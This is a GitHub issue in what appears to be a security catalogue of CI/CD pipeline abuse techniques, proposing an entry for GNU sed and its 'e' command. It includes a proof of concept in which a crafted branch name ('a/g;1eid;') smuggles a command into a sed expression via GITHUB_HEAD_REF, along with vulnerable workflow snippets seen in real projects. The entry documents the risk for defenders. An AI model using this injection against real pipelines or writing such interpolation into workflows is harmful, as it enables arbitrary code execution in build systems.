boostsecurityio / lotp

boostsecurityio/lotp
Apache License 2.0
102 stars 6 forks source link

[LOTP] Add sed #18

Open fproulx-boostsecurity opened 9 months ago

fproulx-boostsecurity commented 9 months ago

Description of the LOTP tool

sed is line-oriented text processing utility that processes input streams or files and has many capabilities to modify text files efficiently.

GNU sed has an e command to execute non interactive commands (see https://gtfobins.github.io/gtfobins/sed/#command)

POC

$  git switch -c 'a/g;1eid;' && export GITHUB_HEAD_REF="$(git branch --show-current)" && gsed -i "s/git_branch=.*/git_branch=$GITHUB_HEAD_REF/g" config.ini
Switched to a new branch 'a/g;1eid;'
sh: /g: No such file or directory
$ git diff
diff --git a/config.ini b/config.ini
index c4ff908..3309a10 100644
--- a/config.ini
+++ b/config.ini
@@ -1 +1,2 @@
-git_branch=bla
+uid=501(john) gid=20(staff) ...
+git_branch=a

Configuration

-f command_file
             Append the editing commands found in the file command_file to the list of commands.  The editing commands should each be listed
             on a separate line.  The commands are read from the standard input if command_file is “-”.

Documentation

https://www.gnu.org/software/sed/manual/sed.html#sed-commands-list

e
Executes the command that is found in pattern space and replaces the pattern space with the output; a trailing newline is suppressed.

e command
Executes command and sends its output to the output stream. The command can run across multiple lines, all but the last ending with a back-slash.

Real-world example

Seen in the wild:

      - name: Override git_branch for PR
        run: |
          # Replace "git_branch" with "git_branch: $GITHUB_HEAD_REF" in config.json
          sed -i "s|git_branch = .*|git_branch = \"$GITHUB_HEAD_REF\"|" config.json
      - name: Prepare configuration
        run: |
          mkdir ./conf
          sed -f ./docker/local/local-config.sed ./product/config/product_config_tmpl.py > ./conf/product.conf
    - name: Update DB
      run: |
        sed -f script/normalize-formatting db/schema.sql > db/schema.expected
...